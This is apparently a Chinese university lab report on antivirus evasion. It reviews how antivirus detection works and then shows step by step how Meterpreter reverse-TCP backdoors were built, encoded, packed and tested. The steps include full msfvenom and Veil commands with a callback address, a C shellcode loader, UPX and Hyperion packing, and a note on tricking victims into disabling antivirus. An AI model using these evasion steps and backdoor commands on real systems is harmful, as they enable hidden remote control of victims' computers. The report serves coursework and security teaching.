2019-2020-2 20175327《网络对抗技术》Exp3 免杀原理与实践

目录

• 一、学习目标
• 二、基础知识
  • 1.1 恶意软件检测机制
    • 1.1.1 基于特征码的检测
    • 1.1.2 启发式恶意软件检测
    • 1.1.3 基于行为的恶意软件检测
• 三、实验步骤
  • 1、使用msf编码器msfvenom生成后门程序
    • (1)正确使用msf编码器
    • (2)msfvenom生成如jar之类的其他文件
    • （2）mfsvenom生成php文件
    • (3)veil
    • (4)用shellcode编程生成后门程序
    • （5）加壳
      • 加密壳（Hyperion）
    • （6）使用其他课堂未介绍方法
  • 2、通过组合应用各种技术实现恶意代码免杀
  • 3、用另一台电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
• 三、实验中的问题
• 四、基础问题回答和实验体会
  • 实验体会
• 五、参考资料

一、学习目标

(1)正确使用msf编码器（0.5分），msfvenom生成如jar之类的其他文件（0.5分），veil-evasion（0.5分），加壳工具（0.5分），使用shellcode编程（1分）

(2)通过组合应用各种技术实现恶意代码免杀(0.5分)（如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图。）

(3)用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本（加分0.5）

二、基础知识

1.1 恶意软件检测机制

1.1.1 基于特征码的检测

简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。

AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

1.1.2 启发式恶意软件检测

启发式Heuristic，简单来说，就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

优点：

以检测0-day恶意软件

具有一定通用性

缺点：

实时监控系统行为，开销稍多

没有基于特征码的精确度高

1.1.3 基于行为的恶意软件检测

最开始提出启发式时，一般也是针对特征扫描的而言的，指通用的、多特征的、非精确的扫描，

所以后来又提出了基于行为的。从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。

1.2 免杀技术(Evading AV)综述

总体技术有：

• 改变特征码
• 如果你手里只有EXE
• 加壳：压缩壳 加密壳
• 有shellcode(像Meterpreter）
  • 用encode进行编码
  • 基于payload重新编译生成可执行文件
• 有源代码
  • 用其他语言进行重写再编译（veil-evasion）
• 改变行为
  • 通讯方式
  • 尽量使用反弹式连接
  • 使用隧道技术
  • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码
• 非常规方法
  • 使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。
  • 使用社工类攻击，诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件
• 留后门的思路是这样的：
  • 你写一个有漏洞的软件，开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击，就可以获得系统控制权。
  • 通过meterpreter这种驻留内存的payload，AV软件很难检出。
  • 这样的小漏洞程序大家也有做，自己攻击自己还是很容易的。
• 当然最好的方法，还是手工打造，自己从头编一个，没有通用工具的特征，AV软件也就杀不出来了。
  • 从头打造当然是相当有难度的，但我们可以利用Metasploit已有的payload来半手工的打造，效果也不错

三、实验步骤

1、使用msf编码器msfvenom生成后门程序

(1)正确使用msf编码器

• 使用msfvenom -l encoders查看可以用于生成后门的编码器

  

• 使用实验二生成的后门程序，放在VirusTotal上进行扫描，结果如下：
• 用VirusTotal扫描后结果如下：

  

• 将编码一次生成的后门程序进行扫描，一次编码：-e选择编码器，-b是payload中需要清除的字符，该命令中为了使\x00‘不出现在shellcode中，因为shellcode以\x00‘为结束符。

  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.61.128 LPORT=5327 -f exe > encoded1.exe结果如下：

  • 生成的截图：

    

  • 使用VirusTotal检测截图：

    

• 将编码十次生成的后门程序进行扫描，结果如下：
  • 生成的截图：

    

  • 使用VirusTotal检测截图：

    

• 可见多次编码对于免杀没有太大的帮助，主要有两点原因：
  • shikata_ga_nai总会有解码（decoder stub）部分需要加入的exe中，杀软只要找到了这一部分，就能查出这是恶意代码。
  • msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件，如果使用默认参数或者模版，也有一定的固定特征，所以一般来说AV厂商会针对msf使用的模板生成特征码侦测，这样就能解决所有msfvenom生成的恶意代码了。

(2)msfvenom生成如jar之类的其他文件

• 生成java后门程序：

  msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 x> dwt_backdoor_java.jar

  • 生成过程截图

    

  • 使用VirusTotal检测截图

    

（2）mfsvenom生成php文件

• 生成PHP后门程序使用命令

  msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 x> dwt_backdoor.php

  • 生成过程截图

    

  • 使用VirusTotal检测截图

    

(3)veil

我们首先使用sudo apt-get update命令和sudo apt-get upgrade命令进行更新

用sudo apt-get install veil命令安装Veil

之后使用veil命令打开Veil，输入s继续安装直到完成（s为默认安装）

输入use evasion，进入veil-evasion

• 输入use c/meterpreter/rev_tcp.py进入配置界面
• 设置反弹连接IPset LHOST 192.168.61.128
• 设置端口set LPORT 5327
• 查看配置options
• 输入generate生成文件，接着输入生成的文件名

  

  

  

• 扫描结果：

  

(4)用shellcode编程生成后门程序

用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 -f c生成一段shellcode

然后我们用vim命令创建一个文件20175327.c，然后将unsigned char buf[]赋值到其中，内容如下：

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

输入i686-w64-mingw32-g++ 20175327.c -o 20175327.exe，将此文件编译为可执行文件。

在VirusTotal检测截图

（5）加壳

给之前的20175327.exe加个壳得到20175327_upx.exe:

virus totals检测结果：

加密壳（Hyperion）

• 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
• 进入目录/usr/share/windows-binaries/hyperion/中
• 输入命令wine hyperion.exe -v 20175327_upx.exe 20175327_upx_Hyperion.exe进行加壳：

  

通过virus totals：

（6）使用其他课堂未介绍方法

输入veil之后再输入use evasion进入免杀平台：

输入list可以查看可用的payloads

输入use python/meterpreter/rev_tcp.py进入配置页面，可以看到现在options还是默认值，因此我们需要设置某些options。

输入set LHOST 192.168.255.129和set LPORT 5327，分别设置反弹连接的IP地址和端口号。可以输入options查看设置后的结果

生成文件时，系统会问如何创建负载可执行文件？，我选的是2 Py2Exe，然后就能看到文件的存放目录了

virus totals检测结果：

2、通过组合应用各种技术实现恶意代码免杀

在上文中可以看到veil生成后门文件，使用Python语言就是能实现免杀功能。

在刚刚的文件的基础上加压缩壳和加密壳，来实现免杀。

• 详细方法见上文

3、用另一台电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

电脑环境：Windows7

杀毒软件：360安全卫士

杀软版本：12.1.0.1004

查杀时间：2020.03.29

三、实验中的问题

1、在加密壳时出现问题

解决方法

使用管理员身份sudo -s

2、veil安装过程的问题

经常会有下载不成功，先睡一觉，醒来下载网速突然飞奔

四、基础问题回答和实验体会

• 1、杀软是如何检测出恶意代码的？
• 基于特征码的检测：简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
• 启发式恶意软件检测：启发式Heuristic，简单来说，就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件，典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
• 优点：

  可以检测0-day恶意软件

  具有一定通用性

• 缺点：

  实时监控系统行为，开销稍多

  没有基于特征码的精确度高

• 基于行为的恶意软件检测：最开始提出启发式时，一般也是针对特征扫描的而言的，指通用的、多特征的、非精确的扫描，所以后来又提出了基于行为的。从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。
• 2、免杀是做什么？

  使用一些技术手段对恶意软件做处理，让它不被杀毒软件所检测。同时，免杀也是渗透测试中需要使用到的技术。

• 3、免杀的基本方法有哪些？
• （1）改变特征码

  如果你手里只有EXE—— 加壳：压缩壳 加密壳

  有shellcode(像Meterpreter)—— 用encode进行编码；基于payload重新编译生成可执行文件

  有源代码—— 用其他语言进行重写再编译（veil-evasion）

• （2）改变行为

  通讯方式：尽量使用反弹式连接；使用隧道技术；加密通讯数据

  操作模式：基于内存操作；减少对系统的修改；加入混淆作用的正常功能代码

• （3）非常规方法

  使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。

  使用社工类攻击，诱骗目标关闭AV软件。

  纯手工打造一个恶意软件

• 4、开启杀软能绝对防止电脑中恶意代码吗？

  回答：不能。因为杀软在更新病毒库，恶意代码虽然可以不断用新的方式获得免杀，但是只要杀软记录到某个进程执行操作的异常情况，就可以立即记录相关信息，更新病毒库。

实验体会

本次实验中所遇大问题就是veil的安全，克隆的速度极慢，而且总是挂断，但是早上速度就很快，没十几分钟就下好了，当然也可以选择用流量会快一点，我认为我对免杀处理的理解不到位，应该多学习，反复琢磨实验中的步骤和问题。

五、参考资料

2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践

kali201703安装Veil Evasion

原文地址：https://www.cnblogs.com/hollfull/p/12611527.html